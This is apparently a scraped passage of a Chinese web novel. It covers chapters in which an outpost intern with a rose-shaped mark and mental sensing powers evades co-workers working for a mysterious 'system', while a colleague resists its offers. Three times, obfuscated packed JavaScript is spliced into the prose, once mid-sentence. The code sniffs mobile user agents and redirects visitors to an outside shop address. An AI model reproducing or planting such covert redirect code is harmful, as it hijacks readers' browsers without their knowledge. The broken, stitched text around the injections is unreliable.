心脏跳得有点快。 林星光往宿舍走。 走廊里的灯已经切换到了傍晚模式,光线昏暗,每隔十米才有一盏灯亮着。她的鞋子踏在金属地面上,发出轻微的嗒嗒声。偶尔有脚步声从远处传来,很快又消失。 一路上都没碰到人。 回到宿舍,关上门,反锁。她靠在门板上,抬手摸了摸颈侧的印记。 这几天她摸得越来越顺手了,确认它还在,确认那股暖意还在。 “王磊没被侵蚀。”她小声说,“他还在抵抗。” 印记跳了一下。 暖意从印记里涌出来,顺着脖子往上蔓延,最后停在头顶。温温的,轻轻的,像有人用手掌轻抚她的头顶。 林星光愣了愣。 这是……在回应她? “他能醒过来吗?”她又问。 沉默。 过了很久,久到她以为不会有回应了,脑子里突然响起一个声音。 很轻的声音,像风拂过花瓣,又像很远的地方有人在说话。 “等。” 就一个字。 林星光愣了愣,然后嘴角慢慢弯起来。 她抬手摸了摸印记,指尖触到的皮肤温热平滑。 “要等到什么时候呢?”她问。 没回应。 但暖意轻轻跳了一下。 林星光笑了笑,走到洗手间,对着镜子拉开衣领。颈侧的印记还是那副样子,淡粉色的花瓣,边缘泛着极淡的光泽。 她盯着看了几秒,小声说:“等就等吧,至少是有希望的。” 镜子里的自己脸色有点白,眼底有淡淡的青黑。 她拧开水龙头,掬了捧冷水拍在脸上。 第二天早上,林星光去食堂吃饭。 赵锐不在,李文不在,孙小雅也不在。食堂里的人都正常得不能再正常,该吃吃该喝喝,没人往她这边多看两眼。 她低头喝粥,喝完粥又吃了个包子。包子是光绒菜馅的,味道还是那股清苦,嚼在嘴里像嚼草。 吃完去放餐盘的时候,余光却瞥见李文端着餐盘从她身边经过。他脚步都没顿,找到座位后低头吃饭,一眼都没往林星光这边看。 林星光收回目光,把餐盘放好,走出食堂。 去后勤科的路上,她特意经过环境维护科门口。门关着,窗户没有灯光透出来,里面没人。 她又往前走了一段,把精神力铺开,探向周围。 五十米内,没有黑色能量。 一百米内,也没有。 那三个人今天都不在附近。 奇怪…… 林星光心里有点不踏实,但也说不上来哪里不对劲。她继续往后勤科走,推开门进去。 老陈来得早,正趴在桌上打盹。听见门响,抬起头,睡眼惺忪地看了她一眼:“来了?” “陈叔早。”林星光走到自己的座位前坐下,打开终端。 今天的工作还是那些,整理记录,核对物资,归档文件。她一边干一边用精神力留意着周围的动静,一上午什么都没发生。 中午吃饭,她还是没去食堂,在办公室里啃包子。 老陈去食堂了,办公室里就她一个人。她啃完包子,靠在椅背上,开始把精神力凝成触角,往外探。 第一个先探向医疗站的方向。 王磊还在原来的位置,躺在医疗舱里一动不动。他身上的能量还是那么乱,像暴风雨中的海面。但那团混乱的能量里,有一小块地方是稳定的。 就是昨天她看到的那个位置。 王磊的意识体蜷缩在那里,还在抵抗。 她又把触角往回收,探向别的地方。 生活区,正常。仓储区,正常。 防卫队训练场…… 她停了一下。 训练场里有两团黑色能量。一团浓一点,是赵锐的。一团淡一点,是李文的? 他们俩在一起! 林星光把触角又往前探了一点,靠近那两团黑色能量。有两个人在,她不敢靠太近,怕被发现,只是远远地感知着。 但没听到什么特别的消息。 林星光收回触角,下午继续干活。 傍晚下班,照常回宿舍。路上她又用精神力扫了一圈,那三个人还是不在附近。 太不对劲了。 难道那个东西放弃了? 林星光躺在床上,盯着天花板。 前天还来偷袭她,被她反击回去。今天三个人全都从她的感知范围内消失了? 他们在干什么? 在酝酿什么? 她翻了个身,侧躺着,手搭在颈侧的印记上。 “明天我想再去探探王磊。”她小声说。 印记跳了一下。 暖意涌出来,轻轻裹着她。 林星光笑了笑,闭上眼睛。 接下来这天下班后,林星光又去了医疗站。 她推门进去的时候,小苏正在前台整理单据,看见她就挤眉弄眼:“又来了?这么关心王磊?” 林星光没管她的问题,回避她的调侃:“他今天怎么样?” 小苏叹了口气:“还是那样,也不知道什么时候能醒。” 林星光点点头,往里面走。 王磊躺在医疗舱里,闭着眼睛。胸口微微起伏着,呼吸很轻。 她站在舱位旁边,把精神力凝成触角,探进去。 还是那片灰蒙蒙的虚空,还是那些乱窜的能量流。 林星光把触角往深处探。 那团蜷缩着的意识体还在原地,双手抱着膝盖,头埋着。周围的能量流绕着他转,却伤不到他分毫。 所以那个能量只能困住他吗? 林星光把触角贴上去。 这一次,王磊的意识体反应更快。他猛地抬起头,眼睛直直地看向林星光触角的方向,那双眼睛还是涣散的。 “又是你。”他说,“你是谁?” 林星光没说话。 王磊的意识体看了几秒,然后慢慢蜷缩回去,嘴里又开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263784|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始念叨:“不答应……不答应……别想骗我……天上不会掉馅饼……” 林星光把触角又往前探了一点,轻轻地碰了碰他。 王磊的意识体抖了一下,抬起头,又看向她。 “你……是真人?”他问,声音里带着一点不确定,“不是那个东西?” 林星光让触角轻轻点了点。 王磊的意识体愣了几秒,然后那双涣散的眼睛里突然有了光。 “你……你能听见我说话?”他问,“你是活人?” 林星光又点了点。 王磊的意识体突然往前扑了一下,像是想抓住她。但他的意识体还是太虚弱了,刚往前一扑就散了,重新凝聚起来时,又缩回原来的位置。 他声音沙哑:“我出不去……那个东西……在我脑子里……一直说一直说……但我想不答应……” 他说不下去了,蜷缩成一团,浑身发抖。 林星光把触角贴上去,轻轻地挨着他。 过了很久,王磊的意识体才慢慢平静下来。 “我不答应……”他喃喃地说,“我不答应……它说给我好处……肯定要从我这儿拿走什么……我不想给……我说我什么都没有……” 林星光听着,没动。 “可是它不走……它一直在……一直在……我出不去……” 林星光收回触角的时候,王磊又睁了一下眼。 清明的眼神对上她的目光,然后又很快阖上。 闭眼前他张嘴说了两个字。 林星光站在原地,看着他几秒,才走出医疗站。 这个时间点,她打算回宿舍了。走廊里的光线昏暗,灯隔老远才亮一盏。她走到一半,颈侧的印记突然烫了一下。 她停下脚步,精神力瞬间铺开。 五十米内,什么都没有。 她又把范围扩大了一点,还是没有。 但印记还在发烫。 林星光站在原地,没动。她把精神力分成几股,凝成更细的触角,往更远的地方探。 然后她感知到了。 两团黑色能量,一左一右,蹲在她回宿舍必经的岔路口,一动不动。 赵锐和李文。 他们要埋伏她吗?不是要单独相处吗? 林星光收回精神力,转身就往回走。 穿过医疗站门口,穿过维修科门口,穿过通往仓储区的岔路口。她一边走一边用精神力留意着后面的动静。 那两团黑色能量动了。 它们从原来的位置出发,开始往她这边移动,像知道她会走哪条路,径直朝着她来。 林星光拐进一条岔路。 那条路不是回宿舍的方向。但她现在不能回宿舍,宿舍太远,要走十分钟,这十分钟足够他们堵住她。 以她现在的能力还没法应付两个人,更何况其中一个还是强化系的异能者,□□的力量非常强。 所以,她必须找一个安全的地方。 林星光加快脚步。 身后的两团黑色能量却越来越近。 她拐过一个弯,前面就是通往观测台的升降梯。升降梯门关着,旁边的按钮亮着红灯,显示正在运行中。 林星光按了按钮,深吸一口气,强迫自己冷静下来。 她把精神力往后探,两团黑色能量离她只剩五十米。 四十米。 三十米。 升降梯门开了。 林星光闪身进去,按了关门键。门缓缓合上的瞬间,她看见两个身影从拐角处冲出来。 门关上了。 升降梯开始上升。 林星光靠在金属壁上,后背的工装已经被冷汗浸湿了,贴在皮肤上,又凉又黏。 颈侧的印记还在发烫。 她抬手摸了摸,那股暖意涌出来,顺着脖子往上蔓延,像是在安抚她。 “差点,”她的声音在密闭的升降梯里显得有点抖,“差点就被堵住了。” 印记跳了一下。 但一碰到两个人就这样躲也不是个办法,前哨站就这么大的空间,三百来号人。如果他们以后都不单人行动,而是两人或者三人一起该怎么办呢? 升降梯到了。 门打开,外面是观测台的走廊。走廊尽头有光,是观测台值班室的灯。林星光走过去,推开门。 值班室里坐着一个中年妇女,穿着通讯科的工装,正盯着屏幕上的数据。看见林星光进来,她愣了一下:“小林?你怎么来了?” “路过。”林星光笑了笑,“顺便上来看看方姐。” 观测台常有人上来偷懒,通讯科的方慧也不是个多话的人,就继续低头看数据。 林星光走到窗户边,往外看。 下面是一片漆黑的作物培育区,再远一点是能量接收塔的轮廓。塔顶的碟形天线对着夜空,边缘反射着微弱的星光。 她的目光往下移,只能看到观测台塔基下的两个小小黑点。 距离太远,看不清他们的表情。但林星光能感觉到,他们在看她。 她站在窗户边,没动。 一直等到那两人从视野里消失了,又用精神力感知了一遍那两人没在附近停留,林星光才收回目光。 “我先走了。”她说,“方姐你继续忙。” 方慧露出果不其然的表情,点了点头。 林星光走出观测台,乘升降梯下去。这次一路上什么都没碰到,那两团黑色能量已经消失了,不知道去了哪里。 第二天早上,林星光去食堂吃饭。 吃到一半的时候,食堂门口进来一个人。 王磊。 他穿着病号服,脸色还是白的,嘴唇干裂。他站在门口,目光在食堂里扫了一圈,最后落在林星光身上。 然后他走到林星光面前,站定。 “小林?”他声音沙哑。 林星光露出惊喜的表情:“王哥,你醒了?” 王磊却没回答她的问题。 “我有话跟你说。”他说。 19. 什么都没给 三百多人的前哨站没有秘密,王磊一醒,全前哨站的人都知道了。 此刻他出现在食堂,大家都看向他,但他却视若不见,执着地站在林星光面前。 他比在医疗舱里看着精神些,却依旧是那副苍白模样,嘴唇干裂得厉害,眼神有些发亮,直直地落在林星光脸上,带着股执拗的劲。 周围有人好奇地看过来,窃窃私语声断断续续飘进耳朵。 “那不是王磊吗?醒了?” “听说躺了快半个月了,怎么穿着病号服就跑出来了?” “他来找小林做什么?” 林星光放下勺子,脸上扬起惯常的笑,眉眼弯弯的:“王哥,有什么事吗?” 王磊没接话,重复了一遍之前的话:“我有话跟你说。” 林星光瞥了眼周围投来的视线,心里快速转了个圈,拿起桌边的工装外套搭在胳膊上,站起身:“行,去哪说?” 听到林星光的话,王磊转身就走,都没回头看她跟没跟。 林星光愣了一下。 周围几桌的人都往这边看。她对面坐着的后勤科同事一脸懵:“小林,他找你干什么?” “不知道。”林星光已经站起来,“你先吃,辛苦你帮我放一下餐盘,我去看看。” 她把餐盘往旁边一推,快步跟出去。 王磊走得不算快,她追出食堂的时候,还能看见他的背影,正在往仓储区的方向拐。走廊里人不多,这个点该吃饭的都去食堂了。 林星光隔着二十来米的距离跟着。 通道两侧堆着设备零件,金属架子歪歪扭扭地支着。仓储区的走廊里弥漫着金属的冷味和干燥气息,比食堂里难受多了。 颈侧的蔷薇印记温温的,没发烫,也没跳动,可能是在安静地感知周围。 王磊一直走到仓储区后面的角落才停下。这里更偏,几乎没人来,墙角堆着几箱报废的营养液容器,箱体变形,漏出来的液体在地面踩上去有点黏脚。 调查组要来了,这里还是得清理一下。 看王磊不走了,林星光也停了下来,跟他隔着几米远的距离,以防万一。 王磊转过身,背靠着营养液容器,胸口微微起伏。 他盯着林星光看了几秒,好半天才憋出一句话:“那东西,是不是也找你了?” 林星光的指尖轻轻蜷了一下,脸上露出疑惑的表情:“什么?” 王磊眉头拧成了一个疙瘩,他抬手抓了抓头发,动作有些笨拙:“我昏迷的时候……脑子里有个东西,一直让我答应它。说给我好处,可以让我回核心区。” 说到这儿,他停了,眼神飘向墙角的废箱子,过了好一会儿才转回来,语气很肯定:“不过,我没答应。” 林星光没接话,只是静静地看着他。阳光从通道上方的小窗透进来,在他苍白的脸上投下斑驳的光影。 “我爸妈以前被人骗过。”王磊的声音带着点不易察觉的涩,“签了个合同,半辈子的钱就没了。” 他抬起手,挠了挠脸颊,动作憨厚又带着点局促:“我知道,天上不会掉馅饼。” 林星光握着外套的手指轻轻动了动。 她不知道那个生命体到底给那三个人许诺了什么,但很明显他们并不像王磊这样想。 “它就一直在我脑子里说话。”王磊继续说,像是憋了很久的话终于找到地方倒,“还说要是我不答应,我就会死。” 看到林星光一直用疑惑的眼神看着他没有任何回应,王磊却不管不顾地继续往下说:“我才不相信。我明明身体健康,啥意外都没发生,怎么可能会死?” 林星光这才开口,声音温软:“但我之前去看王哥,你一直都没醒。你不怕那东西真的杀了你吗?” “不怕!”王磊咧嘴笑了笑,露出两排不算整齐的牙齿,笑容憨憨的,但看起来又有几分执拗,“你看我现在醒了,根本没死,所以它都是骗人的。” 林星光看着他眼里那点纯粹的笃定,心里像是被什么东西轻轻撞了一下。 前哨站的人,谁不向往核心区? 那里有充足的资源,有更好的发展,有前哨站里没有的一切。 王磊肯定不会不想要,只是他比别人清醒点,知道那些轻易许下的好处,背后都藏着看不见的代价。而这个,反而救下了他。 “那你现在醒了,是因为它放过你了吗?”她问。 王磊一脸茫然:“我也不懂咋醒的。就是它突然不说话了,然后我就醒了。” 林星光点点头,没再追问,反而问起他之前说过的话:“它一直在跟你说话?” “对啊。”王磊点点头,脸上露出点烦躁的神色,“一直催,一直催,催得我烦。所以我就越发坚定了,催这么急,肯定没好事。” “你怎么知道不是好事?” 王磊愣了愣,眼睛眨了眨,似乎在认真思考这个问题。 他低头看了看自己的手,又抬起来看向林星光,语气很是理所当然:“不可能,好事怎么会落在我头上呢?” 他的眼神很干净,透着股难得的清醒:“如果是好事,它应该也不会催那么急。” 说完,他上前半步,总算说明了他的来意:“我昏迷时你还来看我,你是个好人。所以,你千万别答应它,谁答应谁吃亏。” 林星光沉默了几秒,嘴角弯了弯,还是那副温和的模样,只是眼神里多了点说不清的东西:“我知道了。虽然不知道王哥说的是什么,但我下次遇到的话一定记得王哥说的话,谢谢王哥。” “好吧。”林星光没有正面回应,王磊也不在意,只是摆摆手直接离开了。 说到底,他们之间也没太多交际,他也只是看在林星光在他昏迷时来看望过他而过来提个醒而已。 至于听不听,那就是林星光自己的事了。 林星光站在原地,看着他的背影消失在通道拐角,才慢慢收回目光。 她抬手摸了摸颈侧的衣领,那里藏着的蔷薇印记,此刻温温的,没什么动静。 王磊确实没有被那个东西侵蚀。 下午的工作没什么特别,还是整理物资单据,核对仓储区的库存。老陈依旧是那副懒洋洋的样子,坐在椅子上刷终端,时不时抱怨两句核心区的物资迟迟不到,或者站长又布置了什么麻烦活。 林星光没怎么搭话,只是埋头干活。手指在终端屏幕上快速滑动,眼睛盯着一排排数据。 天上不会掉馅饼。 很简单的道理,可赵锐他们三个,偏偏就信了那个东西。 核心区的诱惑,对前哨站的人来说,实在太大了,大到让人愿意忽略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那个声音没有明说,但她却大概懂了。 她看着窗外漆黑的夜色,指尖下的印记依旧温热。心里像是被什么东西填满了,又空落落的,说不出是什么滋味。有困惑,有茫然,还有一丝的触动。 她放下手,指尖还残留着印记的温度:“那你亏了。我什么都没给你。” 她没有异能,不能帮他战斗,还要靠它来警醒。她只是一个普通人,一个在底层挣扎求生的实习生,她一无所有。 话音刚落,颈侧的印记突然烫了一下,像有人用指尖轻轻按在上面。 那个清冷的声音再次响起,轻得像一声叹息:“……有的。” 林星光猛地抬头,眼里闪过一丝惊讶:“什么?” 她追问着,身体微微前倾,等着他的回答。 可这次,没有回应了。 印记的温度慢慢降了下来,回到了那种温和的暖意,跳动也恢复了之前的频率,平稳而微弱。那个声音,像是从未出现过一样,消失在了黑暗里。 宿舍里又恢复了安静。 有的? 它说的“有的”,是什么? 20. 蔷薇被发现了 林星光没再试图追问“有的”到底是什么,虽然她确实想知道。 蔷薇的回应向来断断续续,像信号时好时坏的通讯器,她也不确定问了会不会得到回应。 准备睡之前终端里跳出老陈发来的明天需要整理的物资清单,林星光回了个“收到”,关掉终端时,颈侧的印记突然又轻轻跳了一下。 林星光抬手摸过去,指尖刚碰到印记,就感觉到一股极淡的暖意顺着指尖往上爬。她没动,任由那股暖意蔓延到手腕,又慢慢缩回去,回到颈侧的印记里。 “你不睡觉?”她轻声问。 印记当然没回答,只是又跳了一下,像在回应。 林星光笑了笑,躺在床上,闭上眼睛,把精神力凝成细细的触角,慢慢探向颈侧的印记。 之前她都是用精神力感知外界,还没怎么试过探进这个印记里。 触角刚碰到印记的边缘,就被一股温和的暖意裹住了。像泡在温水里,舒服得让人想放松。 她试着把触角往里探了点,没遇到任何阻碍,反而有一种奇妙的感觉。 她的精神力和印记里的能量像两股水流,碰到一起就自然而然地缠在了一起。 “原来是这种感觉。”她喃喃自语。 共鸣却更强烈了点。 印记里的能量形态,不是黑色能量那种浑浊的团块,也不是普通人那种平稳的白光,而是细碎的粉色光点,聚在一起,温柔又有韧性。 就在这时,那些粉色光点突然动了起来,顺着她的精神力触角往外爬,爬到她的脑海里。 那一瞬间,她好像看到了一片开满粉色蔷薇的花园,阳光落在花瓣上,泛着柔和的光。 非常美! 画面很快就散了,粉色光点缩回印记里,共鸣也弱了下去。林星光睁开眼睛,额头上沁出了一层薄汗,她估计这应该是精神力消耗后的疲惫。 颈侧的印记依旧温温的,但是却在频繁地跳动。 “没事。就是感觉有点累。” 话音刚落,一股更浓的暖意涌出来,顺着她的血管流遍全身,刚才的疲惫感瞬间消散了大半。 林星光愣了愣,随即笑了,眉眼弯弯的,全是真实的温度。 她就这么睡了,直到终端里的闹铃响了才起身洗漱。 换工装时,她特意把衣领拉低了点,对着镜子看了眼颈侧的印记。淡粉色的花瓣在晨光里泛着极淡的光泽,好像更有生命力了。 “今天也要麻烦你了。” 印记轻轻跳了一下。 林星光到后勤科就开始了一天普普通通的工作。 她一边核对数据,一边打算继续用精神力留意着周围的动静时,颈侧的印记突然烫了一下。 林星光抬头,看见后勤科的门被推开一条缝,孙小雅推门走进来。 她穿着平整的工装,头发梳得整齐,脸色比之前好看太多,眼底的乌青淡得几乎看不见。 “小林,陈叔。”孙小雅的声音轻快,“我来领通讯科的耗材,清单昨天发你们终端了。” 老陈头也没抬:“让小林给你拿,我忙着呢。” 林星光站起身,脸上挂着惯常的笑:“小雅姐,跟我来。” 她领着孙小雅往仓储区走,精神力时刻绷着。 孙小雅跟在她身侧大概半步距离,没主动说话,偶尔用余光瞟她一眼,眼神躲闪。 走到仓储区门口,林星光停下脚步,转身笑了笑:“小雅姐稍等,我这就去给你拿。” 她转身的时候,清楚地感觉到孙小雅的目光落在她的颈侧。 他们觉察到蔷薇了?! 林星光不动声色地把衣领又拉高了点,去开仓储区的门。 “你在门口等我就行,里面货架多,不好走。” 仓储区里很暗,只有头顶的应急灯亮着,货架的影子黑压压地压下来。 林星光一边找耗材,一边用精神力探向门口的孙小雅。她身上的黑色能量比之前凝实了些,围绕在周身,带着点隐秘的兴奋,完全没有之前偷袭失败后的虚弱。 看来那个东西给她“奖励”了。 “找到了。”林星光抱着一箱耗材走出来,递给孙小雅,“小雅姐点点数,没错的话在领用单上签个字就行。” 孙小雅接过箱子,开始点数。 “没错。”她签完字,把领用单递给林星光,“小林,你……最近晚上睡觉,有没有遇到什么奇怪的事?” 林星光心里一动,脸上依旧笑着:“没有呀,太累了,每天睡得都挺好的。怎么了,小雅姐?” 孙小雅的眼神闪了闪,赶紧摇头:“没什么,就是随便问问。” 她抱着箱子就要走,走了两步又停下,回头看了林星光一眼:“你……注意点安全。” 说完,她转身快步离开了,像怕多待一秒就会泄露什么。 林星光看着她的背影消失在走廊拐角,才收回目光。 颈侧的印记已经不烫了,恢复了温和的暖意。 他们肯定还在打主意,但为什么要提醒自己注意安全?黄鼠狼给鸡拜年? 林星光回到后勤科,把领用单归档,心里乱糟糟的。 那个东西到底给他们什么好处,能让他们这么不管不顾地也要来接近自己? 中午吃饭的时候,林星光去了食堂。 刚进门就看见赵锐和李文坐在角落的位置,两人隔着桌子凑得很近,低声说着什么,脸上都带着点抑制不住的笑意。看到林星光进来,他们对了对眼神,露出一个心照不宣的笑容。 林星光找了个离他们不远不近的位置坐下,慢慢吃着饭。她的精神力探过去,能听到他们断断续续的低语。 “昨晚我试了,强度又涨了。”赵锐的声音压得极低,带着点得意,“比之前强太多了,真没白熬。” “我也差不多。”李文点点头。 “别声张。”赵锐赶紧提醒,“这事儿不能让别人知道。” “知道知道。” 林星光的精神力能感觉到,他们身上的黑色能量都比之前凝实了,但他们本身的异能颜色早已被遮挡得严严实实,完全看不到了。 吃完饭刚走出食堂,林星光就被赵锐叫住了。他站在走廊拐角,朝着她招了招手,示意她过去。 林星光心里有些发怵,但人来人往的公共场所下他应该也不敢出手,所以她还是笑着走了过去:“赵哥,什么事?” “防卫队的训练器材申请,你帮我多推进推进呗。”赵锐声音很大,似乎并不怕被周围的人听到,“我急用,你也知道,想提升实力,器材跟不上不行。” 他说话的同时,身上的黑色能量顺着空气往她这边飘,然后被颈侧的印记挡了回去。 “可以呀。”林星光笑着点头,“我下午就跟物资科同步,帮你问问情况。不过最近核心区物资紧张,能不能批下来,我可不敢保证。” “有你帮忙就行。”赵锐笑了笑,眼神往她颈侧瞥了一眼,“对了,你今晚值班吗?我最近训练到很晚,要是器材申请有消息,想第一时间知道。” “今晚不值班呢,”她故作遗憾,“不过赵哥放心,有消息我立马通知你。” 林星光隐约察觉不太对了,但又不知道哪儿有问题,只能谨慎观望。 “行,那就麻烦你了。”赵锐点点头,居然没再纠缠,转身快步离开了。 林星光看着他的背影,轻轻叹了口气。颈侧的印记微微发烫,像是在提醒她小心。 她感觉自己还是有必要再多探查一下,他们到底想干什么。 下午整理文件的时候,林星光把赵锐的器材申请提交给了物资科。 快下班的时候,李文突然来了后勤科。他没进门,站在门口,朝着林星光招了招手:“小林,你出来一下,有个事想跟你协调。” 怎么又来?之前不是在躲自己吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304425|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林星光站起身:“李哥,什么事?” “环境维护科的灌溉设备要装在能量塔周边,想跟你协调下时间。”李文眼神往四周扫了扫,“我最近状态好,想趁势把活干完。” “好的,没问题。”林星光点头,不明白这点小事为什么要跑一趟,她回想了一下设备安装的情况,“明天早上怎么样?这两天维修科也比较空。” 李文点了点头:“行,那就明天早上。麻烦你了小林。” “不麻烦,应该的。”林星光笑了笑。 李文说完却没立刻走,在原地踟蹰片刻后问:“你颈侧那个纹身,挺特别的,在哪弄的?” 林星光这下确定,他们肯定是发现蔷薇了,但她还是故作随意地拉了拉衣领:“我哪儿敢纹身啊,就是普通的纹身贴。网上买的,之前都快掉了,我昨晚才换了个新的。” 李文满脸不信地离开。 林星光看着他的背影,心里提高了警惕。 他们的目标到底是自己,还是蔷薇? 晚上八点,林星光去值班室帮忙。老陈坐在椅子上打盹:“来了?盯着点终端就行,有消息及时告诉我。” “好。” 林星光打开终端开始摸鱼,实习生被老员工叫来帮忙是常有的事,美其名曰锻炼,她已经习以为常了。 结果没过多久,赵锐就来了。 他推开门,看到里面除了林星光还有打盹的老陈,愣了一下。 “小林,我来问问器材申请的进展。” 老陈被吵醒了,揉了揉眼睛:“什么事啊?大晚上的。” “没什么大事,就是训练器材的事。”赵锐笑着说,“想跟小林问问进展。” “物资科没货,我也没办法。”林星光摊了摊手,语气无奈,“我已经帮你申请了,有消息第一时间告诉你。” 赵锐点点头,没再多问器材的事,反而拉了把椅子坐在她旁边,刚好在能轻易接触到的范围。 “小林,你在华夏大学读的什么专业啊?怎么想来前哨站实习?” 他的语气很随意,像是单纯闲聊,眼神却时不时落在她的颈侧。 林星光再次感觉到他身上的黑色能量慢慢靠近她,然后又被颈侧的印记挡了回去。 不对劲,他们之前明明没有这样试探过。 “就是普通专业,”她笑着回应,“刚好和这个岗位专业对口了。” “挺好的。”赵锐笑了笑,话题转得有点生硬,“你一个女孩子,在这边实习不容易,要是遇到什么困难,随时跟我说,我帮你。” “谢谢赵哥。”林星光笑着点头。 老陈在旁边打了个哈欠,不耐烦地说:“有什么事明天再说,大晚上的不睡觉,聊什么聊。” 赵锐脸上的笑容淡了点,没反驳,站起身:“那我先走了,小林,有消息记得告诉我。” “好嘞。” 看着赵锐的背影消失在门口,林星光松了口气。颈侧的印记已经不烫了,恢复了温和的暖意。 老陈靠在椅子上,嘟囔着:“这赵锐最近怪怪的,总找你干什么,想跟你谈恋爱?” “哪儿能呢,赵哥可是异能者。”林星光笑了笑,没多说。 帮忙结束,林星光跟老陈道别,往宿舍走去。 快到宿舍门口的时候,终端突然震了一下,跳出一条消息,是老陈发来的:“能量接收塔周边的传感器报警了,你现在去看看情况。” 林星光心里咯噔一下,这么晚了,能量接收塔那边怎么会出问题?难道是赵锐他们搞的鬼? 林星光有些担忧,但老陈的命令她不能违抗。 她就远远地看一眼就好,一有不对劲就往回撤。 她一边走,一边将精神力铺开。 塔基下面,赵锐和李文正蹲在焦黑的纹路旁边,凑得很近。孙小雅站在旁边,手里拿着个陌生的仪器。 三个人都在! 21. 不怕不怕 林星光的脚步钉在培育区通道口,双手握得死紧。 终端被她捏得发亮,屏幕光映在她脸上,把她眼底的警惕照得清清楚楚。 她不打算往前走了,反而往旁边缩了缩,躲在一排太空薯培育池后面。金属支架挡住了大半身子,她只留双眼睛盯着不远处的能量接收塔,精神力的触角一直没有离开。 塔基下的三个人暂时还没发现她已经到附近了。 赵锐蹲在最前面,手指戳着地面上那原本有焦黑纹路的地方,嘴里骂骂咧咧:“怎么还没反应?那玩意儿不是说傻瓜式操作?” 李文蹲在他旁边,手里拿着个巴掌大的探测器,屏幕上跳动着杂乱的绿线。 “不知道,能量波动太乱,周围太多人了。”他黑眼圈明显又深了些,眼神却透着股莫名其妙的亢奋。 孙小雅站在后面,手里的仪器比李文的大些,顶端闪着微弱的红光。 她时不时低头看一眼仪器,又抬头往林星光可能过来的方向看,眼神飘忽:“别急,再等等,它说过要特定的时间窗口,现在还没到时候。” “特定个屁!”赵锐猛地站起身,脚踹在塔基的金属外壳上,发出哐当一声响,“老子等了这么多天,还没摸到那丫头的边!要什么时候才能完成任务,异能突破B啊!” 林星光的心往下沉了沉。 果然是冲她来的。 她往培育池后面又缩了缩,颈侧的蔷薇印记开始发烫,温温的热度顺着皮肤往上爬,跳动得有些急促。 “别吵。”孙小雅皱着眉打断赵锐的大声嚷嚷,往四周看了看,“被人发现就完了,核心区的调查组后天就到,我们一定要在他们来之前完成任务,然后趁机回核心区。” 提到调查组,赵锐的气焰立马弱了点,却还是不甘心:“那丫头滑得跟泥鳅似的,排班表完全跟我们错开,白天要么跟老陈黏在一起,要么就往人多的地方钻,晚上宿舍门也关得死紧。” “她肯定有问题。”李文突然开口,“好几次都阴差阳错地躲过我们的围堵,你们说她身上是不是也有像我们手里这种异能感应器?” 他摇了摇手里的东西。 赵锐反驳:“怎么可能?这是系统交给我们的,她怎么可能有?她跟我们可不一样。” 系统?! 林星光呼吸一滞,那是什么?他们之前从来没有提到过。 她摒住呼吸,继续用精神力探查。那两个仪器看起来并无法觉察到自己精神力的存在,让她在提心吊胆的同时,忍不住轻轻松了口气。 孙小雅点头,手里的仪器红光闪得更快了:“说不定就是她颈侧那个东西,但问系统系统也不说。不过只要我们激活这里的残留能量,形成共振,就能绕过那个东西,直接标记她。到时候不管她躲到哪儿,都跑不掉。” “我觉得这样还是太迂回了!”赵锐搓了搓手,眼里闪着狠光,“要不我们直接把她带过来,让那东西吸收她的异能?” “你以为是吸收吗?”孙小雅的声音透着股嘲讽,“那东西说,她是纯精神力载体,珍贵着呢,怎么可能吸收她?它肯定想绑定她。不过这些都跟我们没关系,等任务完成,我们的异能都升上一级,系统会安排我们回核心区,以后不会有交际了。” 她的表情看起来有几分冰冷,跟林星光面前的她有几分不一样,但赵锐跟李文显然已经见怪不怪了。 不过,他们话里的内容还是让林星光心里咯噔一下。 系统?纯精神力载体?还让他们的异能都升上一级? 颈侧的印记烫得更厉害了,像是在呼应她的紧张,一股淡淡的暖意顺着血管流到四肢百骸,让她紧绷的身体稍微放松了点。 “绑定任务会不会完不成?”李文犹豫了一下,扶了扶眼镜,“王磊就是不肯绑定,才昏迷了那么久。” “他是傻子!”赵锐嗤笑一声,“前往核心区的机会,多少人抢破头都得不到。林星光那丫头看起来世故得很,肯定会衡量得失,说不定她巴不得绑定系统呢!” 李文没说话,手里的探测器屏幕上,绿线跳得越来越乱。 孙小雅抬手按了按仪器上的按钮,顶端的红光突然变得刺眼:“别废话了,时间差不多了。赵锐,你来激发焦纹里的残留能量;李文,你来稳住波动;我来引导共振。” 赵锐立刻点头,攥紧拳头,手臂上的肌肉暴涨,黑色的雾气中透着微弱的淡铜色异能光芒,顺着指尖往那原本焦黑的纹路里探。雾气接触到纹路的瞬间,那些本来消失了的焦纹突然亮了起来,淡蓝色的微光顺着纹路蔓延,像活过来的藤蔓。 “成了!”赵锐眼睛一亮。 李文也立刻行动,指尖涌出细密的黑色水珠,水珠落在焦纹上,形成一层薄薄的水膜,那些跳动的蓝光瞬间稳定了不少。 